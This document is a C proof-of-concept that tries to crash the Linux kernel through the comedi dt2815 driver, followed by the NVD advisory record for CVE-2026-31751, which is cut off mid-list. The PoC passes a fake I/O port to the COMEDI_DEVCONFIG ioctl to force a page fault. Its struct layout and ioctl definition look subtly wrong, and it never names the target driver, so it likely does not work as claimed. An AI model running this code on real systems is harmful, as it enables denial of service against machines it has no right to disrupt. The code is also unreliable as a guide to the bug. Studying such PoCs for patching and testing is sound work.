CVE-2026-31751

/* * PoC for CVE-2026-31751 * Trigger kernel crash in dt2815 driver by attaching to non-existent hardware. * Compile: gcc -o poc_dt2815 poc_dt2815.c */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <string.h> #define COMEDI_DEVCONFIG _IOWR('C', 0x00, struct comedi_devconfig) struct comedi_devconfig { unsigned int board_name; unsigned int options[32]; }; int main() { int fd; struct comedi_devconfig conf; // Open the comedi device (ensure module is loaded) fd = open("/dev/comedi0", O_RDWR); if (fd < 0) { perror("open /dev/comedi0"); fprintf(stderr, "Note: You may need to load the dt2815 module or create the node.\n"); return 1; } memset(&conf, 0, sizeof(conf)); // Configure a fake I/O base address (e.g., 0x300) where no hardware exists. // This triggers the vulnerable path in dt2815_attach. conf.options[0] = 0x300; printf("[+] Attempting to trigger crash via COMEDI_DEVCONFIG...\n"); // This ioctl attempts to attach the driver to the fake address. // Vulnerable kernel will crash on outb() operation. if (ioctl(fd, COMEDI_DEVCONFIG, &conf) < 0) { perror("ioctl"); // Error might occur on fixed systems or if permission denied } else { printf("[+] Ioctl returned successfully (System might be vulnerable or hardware present)\n"); } close(fd); return 0; }

{"cve": {"id": "CVE-2026-31751", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-01T15:16:37.960", "lastModified": "2026-05-07T19:11:00.483", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ncomedi: dt2815: add hardware detection to prevent crash\n\nThe dt2815 driver crashes when attached to I/O ports without actual\nhardware present. This occurs because syzkaller or users can attach\nthe driver to arbitrary I/O addresses via COMEDI_DEVCONFIG ioctl.\n\nWhen no hardware exists at the specified port, inb() operations return\n0xff (floating bus), but outb() operations can trigger page faults due\nto undefined behavior, especially under race conditions:\n\n BUG: unable to handle page fault for address: 000000007fffff90\n #PF: supervisor write access in kernel mode\n #PF: error_code(0x0002) - not-present page\n RIP: 0010:dt2815_attach+0x6e0/0x1110\n\nAdd hardware detection by reading the status register before attempting\nany write operations. If the read returns 0xff, assume no hardware is\npresent and fail the attach with -ENODEV. This prevents crashes from\noutb() operations on non-existent hardware."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 4.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.0, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-362"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.6.30", "versionEndExcluding": "5.10.253", "matchCriteriaId": "14B74C0E-F4B9-41B2-B587-14056AC9B646"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.11", "versionEndExcluding": "5.15.203", "matchCriteriaId": "20DDB3E9-AABF-4107-ADB0-5362AA067045"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.168", "matchCriteriaId": "E2DDDCA1-6DAB-4018-B920-8F045DDD8D3B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.134", "matchCriteriaId": "F56F925B-BAF8-4F4B-B62F-1496AF19A307"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.81", "matchCriteriaId": "6EF80433-B33B-43C5-8E64-0FA7B8DCE1BC"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.22", "matchCriteriaId": "C9DF8BCE-36D3-475D-9D21-19E4F02F9029"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.12", "matchCriteriaId": "0A2B9540-02D5-41B4-B16A-82AF66FD4F36"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/0dcf33994b8dcf3db36530fb7e2cf9f89e5cbac3", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/34b13250c618d7441508c6ef369144aa8a9b9bfa", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/34c8b3a91bdfbe4573650b4cd750ef639101fdc5", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/65c528fbeddd88478c210052f6c7b21be4973156", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/8d63161837f1bf8810dbcd2a583c2bbf5ca6d733", "sourc ... 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